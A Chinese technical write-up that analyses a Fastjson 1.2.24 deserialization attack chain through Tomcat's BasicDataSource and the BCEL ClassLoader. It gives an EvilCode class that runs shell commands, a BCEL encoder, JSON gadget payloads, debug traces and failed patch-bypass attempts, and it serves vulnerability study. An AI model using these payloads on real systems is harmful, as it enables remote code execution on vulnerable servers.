标题: Fastjson BasicDataSource攻击链简介

创建: 2020-05-12 16:29 更新: 2020-11-03 14:42 链接: https://scz.617.cn/web/202005121629.txt

☆ 简介
☆ org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链
    0) FastjsonDeserialize2.java
    1) EvilCode.java
    2) BCELEncode.java
    3) BCELDecode.java
    4) Fastjson_BasicDataSource.json
    5) 简化版调用关系
    6) 为什么FastjsonDeserialize未能得手
    7) 1.2.25的修补方案
        7.1) Fastjson_BasicDataSource_bad_0.json
        7.2) Fastjson_BasicDataSource_bad_1.json
        7.3) Fastjson_BasicDataSource_bad_2.json
        7.4) Fastjson_BasicDataSource_bad_3.json
    8) org.apache.tomcat.dbcp.dbcp2.BasicDataSource
        8.1) Fastjson_BasicDataSource2.json
    9) 通用性更好的PoC
        9.1) Fastjson_BasicDataSource3.json
        9.2) 测试
        9.3) 简化版调用关系
   10) 转储反序列化过程中动态生成的类
   11) 通过$ref指定被触发的getter
       11.1) Fastjson_BasicDataSource4.json
       11.2) 测试
       11.4) 简化版调用关系
       11.5) Fastjson_BasicDataSource5.json
   12) Fastjson_BasicDataSource6_bad.json
   13) Fastjson_BasicDataSource7.json (33~36可利用)
       13.1) 为什么33~36可利用
       13.2) 为什么37不可利用
   14) Fastjson_BasicDataSource8.json (36~47可利用)
☆ 小结
☆ 近几年为安全工程师不会饿死做出突出贡献的几个东西
☆ 参考资源

☆ 简介

这条攻击链用到"org.apache.tomcat.dbcp.dbcp.BasicDataSource"、 "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"或其他什么等价类。比较老，只能用于Fastjson 1.2.24及更低版本。

Fastjson攻击链更多是用"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" 和"com.sun.rowset.JdbcRowSetImpl"，后者能一直用到Fastjson 1.2.47。

本来太老的攻击链没打算深究，后来觉得其中用到的BCEL编码有点意思，就调试跟踪了一下。

95%的人几年前就学过这招，如果仍有兴趣，可直接看"简化版调用关系"和"小结"。

2020.10.19，微博ID为"香依香偎"的网友反馈了个问题，指出[25,32]、48及以上版本无法利用BasicDataSource，但[33,47]可以利用，而不是之前想像的25及以上版本都无法利用。

☆ org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链

参[73]，后面的PoC用到了如下库:

tomcat-dbcp-7.0.99.jar dbcp-6.0.53.jar tomcat-dbcp-9.0.20.jar tomcat-juli-9.0.20.jar

0) FastjsonDeserialize2.java

/ * javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java / import java.io.; import java.nio.file.; import java.nio.charset.*; import com.alibaba.fastjson.JSON;

public class FastjsonDeserialize2 { private static String readFile( String path, Charset encoding ) throws IOException { byte[] buf = Files.readAllBytes( Paths.get( path ) ); return new String( buf, encoding ); }

public static void main ( String[] argv ) throws Exception
{
    /*
     * StandardCharsets.US_ASCII
     */
    String  str = readFile( argv[0], StandardCharsets.UTF_8 );
    Object  obj = JSON.parseObject( str );
}

}

1) EvilCode.java

/ * javac -encoding GBK -g EvilCode.java / import java.io.*;

public class EvilCode { static { String[] argv = new String[] { "0", "/bin/touch /tmp/scz_is_here" };

    try
    {
        Operator( argv );
    }
    catch ( Exception e )
    {
        e.printStackTrace( System.err );
    }
}

public EvilCode ()
{
    System.out.println( "scz is here" );
}

public EvilCode ( Object[] argv ) throws Exception
{
    Operator( argv );
}

public static void Operator ( Object[] argv ) throws Exception
{
    int     opnum   = Integer.parseInt( ( String )argv[0] );
    String  cmd;

    switch ( opnum )
    {
    case 0 :
        cmd = ( String )argv[1];
        Operator_0( cmd );
        break;
    case 1 :
        cmd = ( String )argv[1];
        Operator_1( cmd );
        break;
    default:
        Operator_unknown();
        break;
    }
}

private static void Operator_0 ( String cmd ) throws Exception
{
    Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } );
}

private static void Operator_1 ( String cmd ) throws Exception
{
    String  ret = PrivateExec( cmd );
    throw new InvalidClassException( "\n[\n" + ret + "]\n" );
}

private static void Operator_unknown () throws Exception
{
    throw new InvalidClassException( "\n[\nUnknown opnum\n]\n" );
}

private static String PrivateExec ( String cmd ) throws IOException
{
    ProcessBuilder  pb  = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true );
    Process         p   = pb.start();
    StringBuilder   ret = new StringBuilder( 256 );
    BufferedReader  in  = new BufferedReader( new InputStreamReader( p.getInputStream() ) );
    String          line;

    while ( true )
    {
        line    = in.readLine();
        if ( line == null )
        {
            break;
        }
        ret.append( line ).append( "\n" );
    }
    return( ret.toString() );
}

}

EvilCode没必要写成这样，我是顺手挪用别处的代码，你完全可以精简之。

2) BCELEncode.java

/ * javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java * java BCELEncode EvilCode.class / import java.io.*; import java.nio.file.Files; import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELEncode { public static void main ( String[] argv ) throws Exception { String filename = argv[0]; byte[] buf = Files.readAllBytes( ( new File( filename ) ).toPath() ); / * public static String encode(byte[] bytes, boolean compress) / String str = Utility.encode( buf, true ); String bcel = "$$BCEL$$" + str; System.out.println( bcel ); } }

$ java BCELEncode EvilCode.class $$BCEL$$$l$8b...$A$A

Utility.encode()的输出不包含"$$BCEL$$"前缀，需要自己增加。

3) BCELDecode.java

/ * javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java * java BCELDecode / import java.io.; import java.nio.file.; import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELDecode { public static void main ( String[] argv ) throws Exception { String bcel = argv[0]; String filename = argv[1]; int index = bcel.indexOf( "$$BCEL$$" ); / * if ( !bcel.startsWith( "$$BCEL$$" ) ) / if ( index < 0 ) { return; } String str = bcel.substring( index + 8 ); / * public static byte[] decode(String s, boolean uncompress) / byte[] buf = Utility.decode( str, true ); Files.write ( ( new File( filename ) ).toPath(), buf, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING } ); } }

$ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class

BCELDecode与攻击链无关，仅仅是因为前面有个负责编码的，出于程序员的本能反应，顺手写个负责解码的，保持对称性。

4) Fastjson_BasicDataSource.json

{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }

driverClassName属性的值就是BCELEncode输出的内容。

有人喜欢在PoC中用代码构造上述json内容，我的习惯是将各组件按自己的理解拆分，以保持边界感。没有什么特别优势，每个人的学习习惯不同，莫来我处装X。

java \ -cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json

这两条命令都能得手。

调试FastjsonDeserialize2:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() monitor wherei

依次命中上面三个断点。

[1] org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader (BasicDataSource.java:256), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue (FieldDeserializer.java:96), pc = 267 [7] com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField (DefaultFieldDeserializer.java:83), pc = 265 [8] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField (JavaBeanDeserializer.java:773), pc = 373 [9] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:600), pc = 1,872 [10] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest (JavaBeanDeserializer.java:922), pc = 8 [11] com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze (null), pc = 3,810 [12] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:184), pc = 5 [13] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:368), pc = 1,089 [14] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,327), pc = 222 [15] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,293), pc = 2 [16] com.alibaba.fastjson.JSON.parse (JSON.java:137), pc = 20 [17] com.alibaba.fastjson.JSON.parse (JSON.java:128), pc = 4 [18] com.alibaba.fastjson.JSON.parseObject (JSON.java:201), pc = 1 [19] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass

[1] com.sun.org.apache.bcel.internal.util.ClassLoader.createClass (ClassLoader.java:199), pc = 0 [2] com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass (ClassLoader.java:152), pc = 81 [3] java.lang.ClassLoader.loadClass (ClassLoader.java:351), pc = 3 [4] java.lang.Class.forName0 (native method) [5] java.lang.Class.forName (Class.java:348), pc = 49 [6] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36 [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30 [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1 [9] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [10] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [11] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [12] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [13] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16 [14] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5 [15] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50 [16] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313 [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4 [18] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18 [19] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

stop in EvilCode.

这个断点不会命中，原因见后面的调用栈回溯。

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21 [3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44 [4] $$BCEL$$$l$8b...$A$A. (EvilCode.java:14), pc = 16 [5] java.lang.Class.forName0 (native method) [6] java.lang.Class.forName (Class.java:348), pc = 49 [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36 [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30 [9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1 [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [14] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16 [15] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5 [16] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50 [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313 [18] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4 [19] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18 [20] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

stop in java.io.PrintStream.println(java.lang.String)

[1] java.io.PrintStream.println (PrintStream.java:805), pc = 0 [2] $$BCEL$$$l$8b...$A$A. (EvilCode.java:24), pc = 9 [3] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method) [4] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85 [5] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5 [6] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79 [7] java.lang.Class.newInstance (Class.java:442), pc = 138 [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,584), pc = 134 [9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30 [10] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1 [11] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [12] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [13] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [14] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [15] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16 [16] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5 [17] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50 [18] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313 [19] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4 [20] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18 [21] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11

5) 简化版调用关系

JSON.parseObject // 8u232+1.2.24+7.0.99 JSON.parse // JSON:201 JSON.parse // JSON:128 DefaultJSONParser.parse // JSON:137 DefaultJSONParser.parse // DefaultJSONParser:1293 DefaultJSONParser.parseObject // DefaultJSONParser:1327 ParserConfig.getDeserializer // DefaultJSONParser:367 // deserializer = config.getDeserializer(clazz) // clazz等于"org.apache.tomcat.dbcp.dbcp.BasicDataSource" ParserConfig.getDeserializer // ParserConfig:312 ParserConfig.createJavaBeanDeserializer // ParserConfig:461 ASMDeserializerFactory.createJavaBeanDeserializer // ParserConfig:591 ASMDeserializerFactory.defineClassPublic // ASMDeserializerFactory:80 // 第二形参b就是动态生成的类的字节码 // 动态生成的类名形如 // com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_ JavaBeanDeserializer.deserialze // DefaultJSONParser:368 JavaBeanDeserializer.parseRest // JavaBeanDeserializer:184 JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922 JavaBeanDeserializer.parseField // JavaBeanDeserializer:600 DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773 FieldDeserializer.setValue // DefaultFieldDeserializer:83 BasicDataSource.setDriverClassLoader // FieldDeserializer:96 BasicDataSource.setDriverClassName // 攻击者可控 JSON.toJSON // JSON:206 JSON.toJSON // JSON:824 JavaBeanSerializer.getFieldValuesMap // JSON:902 FieldSerializer.getPropertyValue // JavaBeanSerializer:439 FieldInfo.get // FieldSerializer:114 BasicDataSource.getConnection // FieldInfo:451 BasicDataSource.createDataSource // BasicDataSource:1103 BasicDataSource.createConnectionFactory // BasicDataSource:1467 Class.forName // BasicDataSource:1559 // 第二形参initialize等于true Class.forName0 // java.lang.Class:348 java.lang.ClassLoader.loadClass util.ClassLoader.loadClass // java.lang.ClassLoader:351 // com.sun.org.apache.bcel.internal.util.ClassLoader if (class_name.indexOf("$$BCEL$$") >= 0) // util.ClassLoader:151 util.ClassLoader.createClass // util.ClassLoader:152 index = class_name.indexOf("$$BCEL$$") // util.ClassLoader:199 real_name = class_name.substring(index + 8) // util.ClassLoader:200 Utility.decode // util.ClassLoader:204 // com.sun.org.apache.bcel.internal.classfile.Utility // BCEL解码 ClassParser. // util.ClassLoader:205 // com.sun.org.apache.bcel.internal.classfile.ClassParser ClassParser.parse // util.ClassLoader:207 JavaClass. // ClassParser:206 JavaClass. // ClassParser:206 // com.sun.org.apache.bcel.internal.classfile.JavaClass bytes = clazz.getBytes() // util.ClassLoader:162 java.lang.ClassLoader.defineClass // util.ClassLoader:163 // cl = defineClass(class_name, bytes, 0, bytes.length) // class_name等于driverClassName属性值 // bytes源自driverClassName属性值的BCEL解码 ClassLoader.defineClass // java.lang.ClassLoader:635 java.lang.ClassLoader.defineClass1 // java.lang.ClassLoader:756 // defineClass()并不会执行静态代码块 EvilCode. // 静态代码块 // Class.forName0()中会执行静态代码块 // 但不是通过defineClass()触发的 Runtime.exec Class.newInstance // BasicDataSource:1584 EvilCode. // 无参构造函数 PrintStream.println

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name 是否动用过BCEL编码，如果是，class_name就不只是类名，还包含类的字节码的BCEL 编码。util.ClassLoader会从类名中析取字节码并加载之，这可真是骚操作，太邪恶了。

参看:

https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/lang/Class.java

public static Class<?> forName(String className)

Invoking this method is equivalent to:

Class.forName(className, true, currentLoader)

public static Class<?> forName(String name, boolean initialize, ClassLoader loader)

The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

initialize为true时，会执行静态代码块。

6) 为什么FastjsonDeserialize未能得手

java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource.json

上述命令使用FastjsonDeserialize，未能得手，不抛异常，静默结束。

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

FastjsonDeserialize调的是:

JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )

FastjsonDeserialize2调的是:

JSON.parseObject( str )

调试后确认前者内部不会调用JSON.toJSON()，从而无法触发EvilCode.。这个例子说明，JSON.parseObject()的不同重载版本对攻击链的反应各不相同，不要笼而统之地说函数名，一定要精确描述测试时所用上下文。

7) 1.2.25的修补方案

java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)

"org.apache.tomcat"、"com.sun."打头的全进黑名单。

1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链，各有原因。

7.1) Fastjson_BasicDataSource_bad_0.json

{ '@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{, 'driverClassLoader': { '@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }

原始意图是进行补丁绕过，但1.2.25未能得手。

java \ -Dfastjson.parser.autoTypeSupport=true \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_0.json

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.org.apache.bcel.internal.util.ClassLoader;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:869) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:723) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:177) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)

从1.2.25开始有一个无法绕过的检查:

/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 866行，这段检查完全是针对BasicDataSource利用链而来 / if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); }

7.2) Fastjson_BasicDataSource_bad_1.json

[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{ }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ]

原始意图是进行补丁绕过，但1.2.25未能得手。

java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_1.json

Exception in thread "main" com.alibaba.fastjson.JSONException: type not match. [com.sun.org.apache.bcel.internal.util.ClassLoader -> java.lang.ClassLoader at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:876) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:1157) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1320) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)

/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType / if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { / * 876行，此时expectClass等于"java.lang.ClassLoader"，clazz等于 * "[com.sun.org.apache.bcel.internal.util.ClassLoader"，后者是数组类型。 / throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } }

7.3) Fastjson_BasicDataSource_bad_2.json

{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }

原始意图是进行补丁绕过，但1.2.25未能得手。

java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_2.json

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.bcel.internal.util.ClassLoader at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:822) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:517) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)

/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时，虽然 * autoTypeSupport为false，但expectClass不为null，等于 * "java.lang.ClassLoader"，下面的黑名单检查无法绕过 / if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } }

for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {

/ * 822行 / throw new JSONException("autoType is not support. " + typeName); } } }

7.4) Fastjson_BasicDataSource_bad_3.json

[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ]

原始意图是进行补丁绕过，但1.2.25未能得手。

java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_3.json

失败，原因同上。

8) org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BasicDataSource所在package变了一点点，攻击原理同前。

8.1) Fastjson_BasicDataSource2.json

{ '@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }

